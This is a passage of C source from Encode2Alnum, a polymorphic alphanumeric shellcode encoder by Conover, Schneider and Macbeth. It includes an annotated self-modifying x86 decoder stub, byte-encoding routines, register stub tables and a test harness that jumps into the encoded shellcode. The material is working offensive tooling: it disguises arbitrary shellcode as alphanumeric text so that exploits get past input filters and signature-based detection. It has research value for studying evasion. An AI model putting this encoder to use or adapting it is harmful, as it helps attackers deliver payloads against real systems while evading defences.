	memcpy(DecodedShellcode, EncodedShellcode+DecoderLength, 
DecodedShellcodeLength);


	if (Verbose)
	{
		printf("BYTE DecodedShellcode[%d] =\n\t\"", DecodedShellcodeLength);
		for (i = 0; i < DecodedShellcodeLength; i++)
		{
			printf("\\x%02x", (BYTE)DecodedShellcode[i]);
			if (!((i + 1) % 16)) printf("\"\n\t\"");
		}
		printf("\";\n");
	}

	assert(DecodedShellcodeLength == OriginalShellcodeLength);
	assert(memcmp(DecodedShellcode, OriginalShellcode, OriginalShellcodeLength) 
== 0);
	free(DecodedShellcode);
#endif

	return EncodedShellcode;
}

=== enc2alnum/enc2alnum.h
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth

#ifndef ENC2ALNUM_H
#define ENC2ALNUM_H

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <assert.h>
#include <time.h>

typedef struct _REG_STUB
{
	BYTE RegType;
	BYTE *DirectStub;
	BYTE *PreDirectPositiveOffsetStub;
	BYTE DirectPositiveOffsetOpcode;
	BYTE *PostDirectPositiveOffsetStub;
	BYTE *PreDirectNegativeOffsetStub;
	BYTE DirectNegativeOffsetOpcode;
	BYTE *PostDirectNegativeOffsetStub;
	BYTE *IndirectStub;
	BYTE *PreIndirectPositiveOffsetStub;
	BYTE IndirectPositiveOffsetOpcode;
	BYTE *PostIndirectPositiveOffsetStub;
	BYTE *PreIndirectNegativeOffsetStub;
	BYTE IndirectNegativeOffsetOpcode;
	BYTE *PostIndirectNegativeOffsetStub;
} REG_STUB;

#define INVALID 0
#define HARDCODED 9
#define EAX 1
#define EBX 2
#define ECX 3
#define EDX 4
#define ESI 5
#define EDI 6
#define ESP 7
#define EBP 8

typedef struct _RANDOMIZER
{
	BYTE RandomizeKey;
	DWORD Extra; // total size to randomize excluding RandomizeKey
	BOOL ReplaceNextMatch; // find the next RandomizeKey starting 
RandomizeKey+Extra
                           // and repeat (used for XOR to 0 trick where the 
values must match)
	BYTE *CharacterSet; // must be null terminated
} RANDOMIZER;

#define RANDOM_ALNUM() ((rand() % 'z') + '0')
#define ALNUM_CHARSET 
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
#define INDIRECT_CHARSET "PQRSTUVW"

#define KEY_OFFSET        (strlen(g_Decoder)-31)
#define TERMINATOR_OFFSET (strlen(g_Decoder)-6)

#define KEY '@' // RandomizeKey for key
#define TERMINATOR '_' // RandomizeKey for terminator

#define JNZ_VALUEA 0x35
#define JNZ_VALUEB 0x36
#define JNZ_OFFSETA       (strlen(g_Decoder)-37)
#define JNZ_OFFSETB_1     (strlen(g_Decoder)-3)
#define JNZ_OFFSETB_2     (strlen(g_Decoder)-20)
#define JNZ_OFFSETB_3     (strlen(g_Decoder)-23)
#define JNZ_OFFSETB_4     (strlen(g_Decoder)-27)
#define JNZ_OFFSETB_5     (strlen(g_Decoder)-32)

////////////////////////////////////////////////////////////////////////////
// Instructions

#define INC_EBX 'C'
#define INC_ECX 'A'
#define INC_EDX 'B'
#define INC_ESI 'F'
#define INC_EDI 'G'
#define INC_EBP 'E'
#define INC_ESP 'D'

#define DEC_EAX 'H'
#define DEC_EBX 'K'
#define DEC_ECX 'I'
#define DEC_EDX 'J'
#define DEC_ESI 'N'
#define DEC_EDI 'O'
#define DEC_EBP 'M'
#define DEC_ESP 'L'

////////////////////////////////////////////////////////////////////////////

void ComputeEncodingCount(BYTE OriginalByte);
#ifdef TESTING
void TestStubs(BYTE *EncodedShellcode);
BYTE DecodeToByte(BYTE *EncodedByte);
#endif
BOOL EncodeTo2Bytes(BYTE OriginalByte, BYTE *EncodedByte);
void RandomizeStub(BYTE *Stub, DWORD StubLength);
BOOL RandomizeDecoder(BYTE *Buffer, DWORD Length);
int GetStubLength();
BOOL CopyStub(BYTE *OutEncodedShellcode, DWORD StubLength);
BYTE *Encode2Alnum(char *input_reg, BYTE *OriginalShellcode, DWORD 
OriginalShellcodeLength, BOOL Verbose);

////////////////////////////////////////////////////////////////////////////

extern BYTE Key;
extern BYTE Terminator;
extern BYTE g_Decoder[];
extern BYTE *EncodedShellcode;
extern DWORD EncodedShellcodeLength;
extern BYTE EncodingCounts[256];

extern int hardcoded_address;
extern int reg_type;
extern int reg_indirect;
extern int reg_offset;
extern int reg_negative;

extern BYTE HardcodedAddressStub[];
extern BYTE HardcodedAddressIndirectStub[];

extern BYTE EAXStub[];
extern BYTE EBXStub[];
extern BYTE ECXStub[];
extern BYTE EDXStub[];
extern BYTE ESIStub[];
extern BYTE EDIStub[];
extern BYTE EBPStub[];
extern BYTE ESPStub[];

extern BYTE PreEAXPositiveOffsetStub[];
extern BYTE PreEBXPositiveOffsetStub[];
extern BYTE PreECXPositiveOffsetStub[];
extern BYTE PreEDXPositiveOffsetStub[];
extern BYTE PreESIPositiveOffsetStub[];
extern BYTE PreEDIPositiveOffsetStub[];
extern BYTE PreEBPPositiveOffsetStub[];
extern BYTE PreESPPositiveOffsetStub[];

extern BYTE PostEAXPositiveOffsetStub[];
extern BYTE PostEBXPositiveOffsetStub[];
extern BYTE PostECXPositiveOffsetStub[];
extern BYTE PostEDXPositiveOffsetStub[];
extern BYTE PostESIPositiveOffsetStub[];
extern BYTE PostEDIPositiveOffsetStub[];
extern BYTE PostEBPPositiveOffsetStub[];
extern BYTE PostESPPositiveOffsetStub[];

extern BYTE PreEAXNegativeOffsetStub[];
extern BYTE PreEBXNegativeOffsetStub[];
extern BYTE PreECXNegativeOffsetStub[];
extern BYTE PreEDXNegativeOffsetStub[];
extern BYTE PreESINegativeOffsetStub[];
extern BYTE PreEDINegativeOffsetStub[];
extern BYTE PreEBPNegativeOffsetStub[];
extern BYTE PreESPNegativeOffsetStub[];

extern BYTE PostEAXNegativeOffsetStub[];
extern BYTE PostEBXNegativeOffsetStub[];
extern BYTE PostECXNegativeOffsetStub[];
extern BYTE PostEDXNegativeOffsetStub[];
extern BYTE PostESINegativeOffsetStub[];
extern BYTE PostEDINegativeOffsetStub[];
extern BYTE PostEBPNegativeOffsetStub[];
extern BYTE PostESPNegativeOffsetStub[];

extern BYTE EAXIndirectStub[];
extern BYTE EBXIndirectStub[];
extern BYTE ECXIndirectStub[];
extern BYTE EDXIndirectStub[];
extern BYTE ESIIndirectStub[];
extern BYTE EDIIndirectStub[];
extern BYTE EBPIndirectStub[];
extern BYTE ESPIndirectStub[];

extern BYTE PreEAXIndirectPositiveOffsetStub[];
extern BYTE PreEBXIndirectPositiveOffsetStub[];
extern BYTE PreECXIndirectPositiveOffsetStub[];
extern BYTE PreEDXIndirectPositiveOffsetStub[];
extern BYTE PreESIIndirectPositiveOffsetStub[];
extern BYTE PreEDIIndirectPositiveOffsetStub[];
extern BYTE PreEBPIndirectPositiveOffsetStub[];
extern BYTE PreESPIndirectPositiveOffsetStub[];

extern BYTE PostEAXIndirectPositiveOffsetStub[];
extern BYTE PostEBXIndirectPositiveOffsetStub[];
extern BYTE PostECXIndirectPositiveOffsetStub[];
extern BYTE PostEDXIndirectPositiveOffsetStub[];
extern BYTE PostESIIndirectPositiveOffsetStub[];
extern BYTE PostEDIIndirectPositiveOffsetStub[];
extern BYTE PostEBPIndirectPositiveOffsetStub[];
extern BYTE PostESPIndirectPositiveOffsetStub[];

extern BYTE PreEAXIndirectNegativeOffsetStub[];
extern BYTE PreEBXIndirectNegativeOffsetStub[];
extern BYTE PreECXIndirectNegativeOffsetStub[];
extern BYTE PreEDXIndirectNegativeOffsetStub[];
extern BYTE PreESIIndirectNegativeOffsetStub[];
extern BYTE PreEDIIndirectNegativeOffsetStub[];
extern BYTE PreEBPIndirectNegativeOffsetStub[];
extern BYTE PreESPIndirectNegativeOffsetStub[];

extern BYTE PostEAXIndirectNegativeOffsetStub[];
extern BYTE PostEBXIndirectNegativeOffsetStub[];
extern BYTE PostECXIndirectNegativeOffsetStub[];
extern BYTE PostEDXIndirectNegativeOffsetStub[];
extern BYTE PostESIIndirectNegativeOffsetStub[];
extern BYTE PostEDIIndirectNegativeOffsetStub[];
extern BYTE PostEBPIndirectNegativeOffsetStub[];
extern BYTE PostESPIndirectNegativeOffsetStub[];

#endif // ENC2ALNUM_H

=== enc2alnum/decoder.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include "enc2alnum.h"

/*
// edx points to shellcode start
Z		01: pop         edx
// set eax to 0xffffffff
h!!!!	02: push        XORA
X		03: pop         eax
5!!!!	04: xor         eax,XORA
H		05: dec         eax
// change line 22 to jnz
4C		06: xor         al,43h
0B6		07: xor         byte ptr [edx+36h],al
// set ecx to point to shellcode
R		08: push        edx
Y		09: pop         ecx
kA7@	10: imul        eax,dword ptr [ecx+37h],KEY
A		11: inc         ecx
3A7		12: xor         eax,dword ptr [ecx+37h]
A		13: inc         ecx
2B7		14: xor         al,byte ptr [edx+37h]
0B7		15: xor         byte ptr [edx+37h],al
B		16: inc         edx
h!!!!	17: push        XORB
X		18: pop         eax
5!!!!	19: xor         eax,XORB
4_		20: xor         al,TERMINATOR
8A7		21: cmp         byte ptr [ecx+37h],al
ub		22: jne         _OriginalShellcode+5Eh // changed by lines 4 and 5

_ = terminator
@ = key
!!!! = XOR_VALUES
*/

//                  555554444444444333333333322222222221111111111000000000
//                  432109876543210987654321098765432109876543210987654321
BYTE g_Decoder[] = "Zh!!!!X5!!!!H4C0B6RYkA7@...7A2B70B7Bh!!!!X5!!!!4_8A7ub";

BYTE EncodingCounts[256];

// Count how many possible encodings there are
void ComputeEncodingCount(BYTE OriginalByte)
{
	BYTE EncodedByte1, EncodedByte2, OriginalByte2;
	int matched = 0;

	for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
	{
		if (!isalnum(EncodedByte1) || (EncodedByte1 == Terminator)) continue;

		for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
		{
			if (!isalnum(EncodedByte2) || (EncodedByte2 == Terminator)) continue;
			OriginalByte2 = EncodedByte1 * Key;
			OriginalByte2 ^= EncodedByte2;
			if (OriginalByte == OriginalByte2) matched++;
		}
	}
	EncodingCounts[OriginalByte] = matched;
}


#ifdef TESTING
BYTE DecodeToByte(BYTE *EncodedByte)
{
	BYTE DecodedByte;
	DecodedByte = EncodedByte[0] * Key;
	DecodedByte ^= EncodedByte[1];
	return DecodedByte;
}
#endif

BOOL EncodeTo2Bytes(BYTE OriginalByte, BYTE *EncodedByte)
{
	BYTE EncodedByte1, EncodedByte2, OriginalByte2;
	int matched = 0, randcount;

	if (!EncodingCounts[OriginalByte])
	{
		fprintf(stderr, "Can't encode 0x%02x\n", OriginalByte);
		return FALSE;
	}

	// Chose a random encoding for this byte
	randcount = rand() % EncodingCounts[OriginalByte] + 1;

	for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
	{
		if (!isalnum(EncodedByte1) || (EncodedByte1 == Terminator)) continue;

		for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
		{
			if (!isalnum(EncodedByte2) || (EncodedByte2 == Terminator)) continue;
			OriginalByte2 = EncodedByte1 * Key;
			OriginalByte2 ^= EncodedByte2;
			if (OriginalByte == OriginalByte2)
			{
				matched++;
				if (matched != randcount) continue;
				EncodedByte[0] = EncodedByte1;
				EncodedByte[1] = EncodedByte2;
				return TRUE;
			}
		}
	}
	return FALSE;
}

=== enc2alnum/stubs.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include <windows.h>
#include "enc2alnum.h"

DWORD StubIndex;

REG_STUB g_Stubs[] =
{
	{ EAX,
		EAXStub,
		PreEAXPositiveOffsetStub, INC_ECX, PostEAXPositiveOffsetStub,
		PreEAXNegativeOffsetStub, DEC_EAX, PostEAXNegativeOffsetStub,
		EAXIndirectStub,
		PreEAXIndirectPositiveOffsetStub, INC_ECX, 
PostEAXIndirectPositiveOffsetStub,
		PreEAXIndirectNegativeOffsetStub, DEC_EAX, 
PostEAXIndirectNegativeOffsetStub
	},
	{ EBX,
		EBXStub,
		PreEBXPositiveOffsetStub, INC_EBX, PostEBXPositiveOffsetStub,
		PreEBXNegativeOffsetStub, DEC_EBX, PostEBXNegativeOffsetStub,
		EBXIndirectStub,
		PreEBXIndirectPositiveOffsetStub, INC_EBX, 
PostEBXIndirectPositiveOffsetStub,
		PreEBXIndirectNegativeOffsetStub, DEC_EBX, 
PostEBXIndirectNegativeOffsetStub
	},
	{ ECX,
		ECXStub,
		PreECXPositiveOffsetStub, INC_ECX, PostECXPositiveOffsetStub,
		PreECXNegativeOffsetStub, DEC_ECX, PostECXNegativeOffsetStub,
		ECXIndirectStub,
		PreECXIndirectPositiveOffsetStub, INC_ECX, 
PostECXIndirectPositiveOffsetStub,
		PreECXIndirectNegativeOffsetStub, DEC_ECX, 
PostECXIndirectNegativeOffsetStub
	},
	{ EDX,
		EDXStub,
		PreEDXPositiveOffsetStub, INC_EDX, PostEDXPositiveOffsetStub,
		PreEDXNegativeOffsetStub, DEC_EDX, PostEDXNegativeOffsetStub,
		EDXIndirectStub,
		PreEDXIndirectPositiveOffsetStub, INC_EDX, 
PostEDXIndirectPositiveOffsetStub,
		PreEDXIndirectNegativeOffsetStub, DEC_EDX, 
PostEDXIndirectNegativeOffsetStub
	},
	{ ESI,
		ESIStub,
		PreESIPositiveOffsetStub, INC_ESI, PostESIPositiveOffsetStub,
		PreESINegativeOffsetStub, DEC_ESI, PostESINegativeOffsetStub,
		ESIIndirectStub,
		PreESIIndirectPositiveOffsetStub, INC_ESI, 
PostESIIndirectPositiveOffsetStub,
		PreESIIndirectNegativeOffsetStub, DEC_ESI, 
PostESIIndirectNegativeOffsetStub
	},
	{ EDI,
		EDIStub,
		PreEDIPositiveOffsetStub, INC_EDI, PostEDIPositiveOffsetStub,
		PreEDINegativeOffsetStub, DEC_EDI, PostEDINegativeOffsetStub,
		EDIIndirectStub,
		PreEDIIndirectPositiveOffsetStub, INC_EDI, 
PostEDIIndirectPositiveOffsetStub,
		PreEDIIndirectNegativeOffsetStub, DEC_EDI, 
PostEDIIndirectNegativeOffsetStub
	},
	{ EBP,
		EBPStub,
		PreEBPPositiveOffsetStub, INC_EBP, PostEBPPositiveOffsetStub,
		PreEBPNegativeOffsetStub, DEC_EBP, PostEBPNegativeOffsetStub,
		EBPIndirectStub,
		PreEBPIndirectPositiveOffsetStub, INC_EBP, 
PostEBPIndirectPositiveOffsetStub,
		PreEBPIndirectNegativeOffsetStub, DEC_EBP, 
PostEBPIndirectNegativeOffsetStub
	},
	{ ESP,
		ESPStub,
		PreESPPositiveOffsetStub, INC_ESP, PostESPPositiveOffsetStub,
		PreESPNegativeOffsetStub, DEC_ESP, PostESPNegativeOffsetStub,
		ESPIndirectStub,
		PreESPIndirectPositiveOffsetStub, INC_ESP, 
PostESPIndirectPositiveOffsetStub,
		PreESPIndirectNegativeOffsetStub, DEC_ESP, 
PostESPIndirectNegativeOffsetStub
	},

	{ HARDCODED,
		HardcodedAddressStub,
		NULL, 0, NULL,
		NULL, 0, NULL,
		HardcodedAddressIndirectStub,
		NULL, 0, NULL,
		NULL, 0, NULL
	},

	// Last entry
	{ INVALID,
		NULL,
		NULL, 0, NULL,
		NULL, 0, NULL,
		NULL,
		NULL, 0, NULL,
		NULL, 0, NULL
	}
};

// Handle case that address points to shellcode
// hardcoded_address != 0, reg_type = 0
BYTE HardcodedAddressStub[] = "hADDR";

// Handle case that address points to a pointer to shellcode
// hardcoded_address != 0, reg_type = 0
BYTE HardcodedAddressIndirectStub[] = "hADDRYQh!!!!X*****P*a30VX5!!!!P";

// Handle case that reg points to shellcode
// reg_indirect = 0 and reg_offset = 0
// reg
BYTE EAXStub[] = "P"; // push eax
BYTE EBXStub[] = "S"; // push ebx
BYTE ECXStub[] = "Q"; // push ecx
BYTE EDXStub[] = "R"; // push edx
BYTE ESIStub[] = "V"; // push esi
BYTE EDIStub[] = "W"; // push edi
BYTE EBPStub[] = "U"; // push ebp
BYTE ESPStub[] = "T"; // push esp

// Handle case that [reg] points to shellcode
// reg_indirect and reg_offset = 0
// [reg]
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE EBXIndirectStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE ECXIndirectStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE EDXIndirectStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE ESIIndirectStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE EDIIndirectStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE EBPIndirectStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE ESPIndirectStub[] = ""; // no more is needed

// Handle case that reg+offset points to shellcode
// reg_indirect = 0 and reg_offset > 0 and reg_negative = 0
// reg+off
BYTE PreEAXPositiveOffsetStub[] = "PY"; // inc eax is not possible, so do 
push eax; pop ecx
BYTE PreEBXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreECXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESIPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDIPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEBPPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESPPositiveOffsetStub[] = ""; // no more is needed

BYTE PostEAXPositiveOffsetStub[] = "Q"; // do push ecx
BYTE PostEBXPositiveOffsetStub[] = "S"; // no more is needed
BYTE PostECXPositiveOffsetStub[] = "Q"; // no more is needed
BYTE PostEDXPositiveOffsetStub[] = "R"; // no more is needed
BYTE PostESIPositiveOffsetStub[] = "V"; // no more is needed
BYTE PostEDIPositiveOffsetStub[] = "W"; // no more is needed
BYTE PostEBPPositiveOffsetStub[] = "U"; // no more is needed
BYTE PostESPPositiveOffsetStub[] = "T"; // no more is needed

// Handle case that reg-offset points to shellcode
// reg_indirect = 0 and reg_offset > 0 and reg_negative = 1
// reg-off
BYTE PreEAXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreECXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESINegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDINegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBPNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESPNegativeOffsetStub[] = ""; // no more is needed

BYTE PostEAXNegativeOffsetStub[] = "P";
BYTE PostEBXNegativeOffsetStub[] = "S";
BYTE PostECXNegativeOffsetStub[] = "Q";
BYTE PostEDXNegativeOffsetStub[] = "R";
BYTE PostESINegativeOffsetStub[] = "V";
BYTE PostEDINegativeOffsetStub[] = "W";
BYTE PostEBPNegativeOffsetStub[] = "U";
BYTE PostESPNegativeOffsetStub[] = "T"; // this needs special handling


// Handle case that reg+offset points to shellcode
// reg_indirect = 1 and reg_offset > 0 and reg_negative = 0
// [reg+off]
BYTE PreEAXIndirectPositiveOffsetStub[] = "PY"; // inc eax is not 
alphanumeric, so do push eax; pop ecx
BYTE PreEBXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreECXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESIIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDIIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEBPIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESPIndirectPositiveOffsetStub[] = ""; // no more is needed

BYTE PostEAXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P"; // 
do same as ecx case
BYTE PostEBXIndirectPositiveOffsetStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE PostECXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDXIndirectPositiveOffsetStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE PostESIIndirectPositiveOffsetStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDIIndirectPositiveOffsetStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE PostEBPIndirectPositiveOffsetStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE PostESPIndirectPositiveOffsetStub[] = ""; // no more is needed

// Handle case that reg-offset points to shellcode
// reg_indirect = 1 and reg_offset > 0 and reg_negative = 1
// [reg-off]
BYTE PreEAXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreECXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESIIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDIIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBPIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESPIndirectNegativeOffsetStub[] = ""; // no more is needed

BYTE PostEAXIndirectNegativeOffsetStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE PostEBXIndirectNegativeOffsetStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE PostECXIndirectNegativeOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDXIndirectNegativeOffsetStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE PostESIIndirectNegativeOffsetStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDIIndirectNegativeOffsetStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE PostEBPIndirectNegativeOffsetStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE PostESPIndirectNegativeOffsetStub[] = ""; // no more is needed

int FindStubIndex()
{
	int i;
	for (i = 0; g_Stubs[i].RegType != INVALID; i++)
	{
		if (g_Stubs[i].RegType == reg_type) return i;
	}
	return -1;
}

BOOL GetStubLength()
{
	int StubIndex;
	DWORD StubLength;

	StubIndex = FindStubIndex();
	if (StubIndex < 0)
	{
		assert(0);
		return 0;
	}

	if (!reg_indirect) // direct
	{
		if (!reg_offset) StubLength = strlen(g_Stubs[StubIndex].DirectStub);
		else // reg_offset
		{
			if (!reg_negative) StubLength = 
strlen(g_Stubs[StubIndex].PreDirectPositiveOffsetStub) + reg_offset + 
strlen(g_Stubs[StubIndex].PostDirectPositiveOffsetStub);
			else StubLength = strlen(g_Stubs[StubIndex].PreDirectNegativeOffsetStub) 
+ reg_offset + strlen(g_Stubs[StubIndex].PostDirectNegativeOffsetStub);
		}
	}
	else // indirect
	{
		if (!reg_offset) StubLength = strlen(g_Stubs[StubIndex].IndirectStub);
		else // reg_offset
		{
			if (!reg_negative) StubLength = 
strlen(g_Stubs[StubIndex].PreIndirectPositiveOffsetStub) + reg_offset + 
strlen(g_Stubs[StubIndex].PostIndirectPositiveOffsetStub);
			else StubLength = 
strlen(g_Stubs[StubIndex].PreIndirectNegativeOffsetStub) + reg_offset + 
strlen(g_Stubs[StubIndex].PostIndirectNegativeOffsetStub);
		}
	}

	return StubLength;
}

BOOL CopyStub(BYTE *OutEncodedShellcode, DWORD StubLength)
{
	int StubIndex;
	BYTE *InStub;
	DWORD StubOffset, *pAddress;

	assert(StubLength);
	if (!StubLength) return FALSE;

	StubIndex = FindStubIndex();
	if (StubIndex < 0)
	{
		assert(0);
		return FALSE;
	}

	if (!reg_indirect) // direct
	{
		if (!reg_offset)
		{
			InStub = g_Stubs[StubIndex].DirectStub;
			if (hardcoded_address)
			{
				pAddress = (DWORD *)(InStub+1);
				*pAddress = hardcoded_address;
			}
			memcpy(OutEncodedShellcode, InStub, StubLength);
		}
		else // reg_offset
		{
			if (!reg_negative) // positive
			{
				InStub = g_Stubs[StubIndex].PreDirectPositiveOffsetStub;
				memcpy(OutEncodedShellcode, InStub, strlen(InStub));
				StubOffset = strlen(InStub);
				memset(OutEncodedShellcode+StubOffset, 
g_Stubs[StubIndex].DirectPositiveOffsetOpcode, reg_offset);
				StubOffset += reg_offset;
				InStub = g_Stubs[StubIndex].PostDirectPositiveOffsetStub;
				memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
			}
			else // negative
			{
				InStub = g_Stubs[StubIndex].PreDirectNegativeOffsetStub;
				memcpy(OutEncodedShellcode, InStub, strlen(InStub));
				StubOffset = strlen(InStub);
				memset(OutEncodedShellcode+StubOffset, 
g_Stubs[StubIndex].DirectNegativeOffsetOpcode, reg_offset);
				StubOffset += reg_offset;
				InStub = g_Stubs[StubIndex].PostDirectNegativeOffsetStub;
				memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
			}
		}
	}
	else // indirect
	{
		if (!reg_offset)
		{
			InStub = g_Stubs[StubIndex].IndirectStub;
			if (hardcoded_address)
			{
				pAddress = (DWORD *)(InStub+1);
				*pAddress = hardcoded_address;
			}
			memcpy(OutEncodedShellcode, InStub, StubLength);
		}
		else // reg_offset
		{
			if (!reg_negative) // positive
			{
				InStub = g_Stubs[StubIndex].PreIndirectPositiveOffsetStub;
				memcpy(OutEncodedShellcode, InStub, strlen(InStub));
				StubOffset = strlen(InStub);
				memset(OutEncodedShellcode+StubOffset, 
g_Stubs[StubIndex].IndirectPositiveOffsetOpcode, reg_offset);
				StubOffset += reg_offset;
				InStub = g_Stubs[StubIndex].PostIndirectPositiveOffsetStub;
				memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
			}
			else // negative
			{
				InStub = g_Stubs[StubIndex].PreIndirectNegativeOffsetStub;
				memcpy(OutEncodedShellcode, InStub, strlen(InStub));
				StubOffset = strlen(InStub);
				memset(OutEncodedShellcode+StubOffset, 
g_Stubs[StubIndex].IndirectNegativeOffsetOpcode, reg_offset);
				StubOffset += reg_offset;
				InStub = g_Stubs[StubIndex].PostIndirectNegativeOffsetStub;
				memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
			}
		}
	}

	RandomizeDecoder(OutEncodedShellcode, StubLength);
	assert(strlen(OutEncodedShellcode) == StubLength);
	return TRUE;
}

#ifdef TESTING
void TestStubs(BYTE *EncodedShellcode)
{
	char **pEncodedShellcode;

	printf("Testing shellcode\n");
	pEncodedShellcode = &EncodedShellcode;

	if (hardcoded_address)
	{
		if (!reg_indirect)
		{
			memcpy((DWORD *)hardcoded_address, EncodedShellcode, 
EncodedShellcodeLength);
			_asm
			{
				//int 3
				mov eax, hardcoded_address
				jmp eax
			}
		}
		else
		{
			_asm
			{
				//int 3
				mov eax, hardcoded_address
				mov ebx, EncodedShellcode
				mov [eax], ebx
				jmp ebx

			}
		}
	}

	else if (reg_type == EAX)
	{
		if (!reg_indirect)
		{
			if (!reg_offset) // "eax"
			{
				_asm
				{
					//int 3
					mov eax, EncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{

				if (reg_negative) // "eax-off"
				{
					_asm
					{
						int 3
						mov eax, EncodedShellcode
						add eax, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "eax+off"
				{
					_asm
					{
						int 3
						mov eax, EncodedShellcode
						sub eax, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
		else
		{
			if (!reg_offset) // "[eax]"
			{
				_asm
				{
					int 3
					mov eax, pEncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "[eax-off]"
				{
					_asm
					{
						int 3
						mov eax, pEncodedShellcode
						add eax, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "[eax+off]"
				{
					_asm
					{
						int 3
						mov eax, pEncodedShellcode
						sub eax, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
	}
	else if (reg_type == EBX)
	{
		if (!reg_indirect)
		{
			if (!reg_offset) // "EBX"
			{
				_asm
				{
					mov ebx, EncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "EBX-off"
				{
					_asm
					{
						int 3
						mov ebx, EncodedShellcode
						add ebx, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "EBX+off"
				{
					_asm
					{
						int 3
						mov ebx, EncodedShellcode
						sub ebx, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
		else
		{
			if (!reg_offset) // "[EBX]"
			{
				_asm
				{
					int 3
					mov ebx, pEncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "[EBX-off]"
				{
					_asm
					{
						int 3
						mov ebx, pEncodedShellcode
						add ebx, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "[EBX+off]"
				{
					_asm
					{
						int 3
						mov ebx, pEncodedShellcode
						sub ebx, reg_offset
						jmp EncodedShellcode
					}
				}
			}
		}
	}
	else if (reg_type == ECX)
	{
		if (!reg_indirect)
		{
			if (!reg_offset) // "ECX"
			{
				_asm
				{
					mov ecx, EncodedShellcode
					jmp ecx
				}
			}
			else
			{
				if (reg_negative) // "ECX-off"
				{
					_asm
					{
						//int 3
						mov ecx, EncodedShellcode
						add ecx, reg_offset
						jmp EncodedShellcode
					}
				}
				else // "ECX+off"
				{
					_asm
					{
						//int 3
						mov ecx, EncodedShellcode
						sub ecx, reg_offset
						jmp EncodedShellcode

					}
				}
			}
		}
		else
		{
			if (!reg_offset) // "[ECX]"
			{
				_asm
				{
					mov ecx, pEncodedShellcode
					jmp EncodedShellcode
				}
			}
			else
			{
				if (reg_negative) // "[ECX-off]"
				{
					_asm
					{
						mov ecx, pEncodedShellcode
